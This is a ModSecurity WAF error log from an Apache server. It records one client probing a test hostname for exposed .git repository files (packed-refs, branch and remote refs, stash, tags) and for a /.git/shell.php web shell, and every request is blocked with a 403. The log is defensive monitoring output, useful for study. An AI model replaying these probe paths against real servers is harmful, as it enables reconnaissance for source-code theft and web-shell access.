[Tue Aug 05 11:03:26.568682 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxgAAAAI&quot;]
[Tue Aug 05 11:03:26.568894 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxgAAAAI&quot;]
[Tue Aug 05 11:03:26.569085 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxgAAAAI&quot;]
[Tue Aug 05 11:03:26.591215 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxwAAAAI&quot;]
[Tue Aug 05 11:03:26.591405 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxwAAAAI&quot;]
[Tue Aug 05 11:03:26.591559 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxwAAAAI&quot;]
[Tue Aug 05 11:03:26.613655 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstyAAAAAI&quot;]
[Tue Aug 05 11:03:26.613851 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstyAAAAAI&quot;]
[Tue Aug 05 11:03:26.614020 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstyAAAAAI&quot;]
[Tue Aug 05 11:03:26.636233 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstyQAAAAI&quot;]
[Tue Aug 05 11:03:26.636444 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstyQAAAAI&quot;]
[Tue Aug 05 11:03:26.636618 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstyQAAAAI&quot;]
[Tue Aug 05 11:03:26.658738 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstygAAAAI&quot;]
[Tue Aug 05 11:03:26.658947 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstygAAAAI&quot;]
[Tue Aug 05 11:03:26.659104 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstygAAAAI&quot;]
[Tue Aug 05 11:03:26.681238 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstywAAAAI&quot;]
[Tue Aug 05 11:03:26.681447 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstywAAAAI&quot;]
[Tue Aug 05 11:03:26.681611 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstywAAAAI&quot;]
[Tue Aug 05 11:03:26.703687 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/main&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzAAAAAI&quot;]
[Tue Aug 05 11:03:26.703878 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/main&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzAAAAAI&quot;]
[Tue Aug 05 11:03:26.704027 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/main&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzAAAAAI&quot;]
[Tue Aug 05 11:03:26.726238 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/master&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzQAAAAI&quot;]
[Tue Aug 05 11:03:26.726484 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/master&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzQAAAAI&quot;]
[Tue Aug 05 11:03:26.726650 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/master&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzQAAAAI&quot;]
[Tue Aug 05 11:03:26.748722 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/stash&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzgAAAAI&quot;]
[Tue Aug 05 11:03:26.748919 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzgAAAAI&quot;]
[Tue Aug 05 11:03:26.749060 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzgAAAAI&quot;]
[Tue Aug 05 11:03:26.771374 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/tags/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/tags/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzwAAAAI&quot;]
[Tue Aug 05 11:03:26.771561 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/tags/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzwAAAAI&quot;]
[Tue Aug 05 11:03:26.771712 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/tags/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstzwAAAAI&quot;]
[Tue Aug 05 11:03:27.112858 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/shell.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/shell.php&quot;] [unique_id &quot;aJHI36wAMarSM4GUXkst0AAAAAI&quot;]
[Tue Aug 05 11:03:27.113131 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/shell.php&quot;] [unique_id &quot;aJHI36wAMarSM4GUXkst0AAAAAI&quot;]
[Tue Aug 05 11:03:27.114018 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/shell.php&quot;] [unique_id &quot;aJHI36wAMarSM4GUXkst0AAAAAI&quot;]
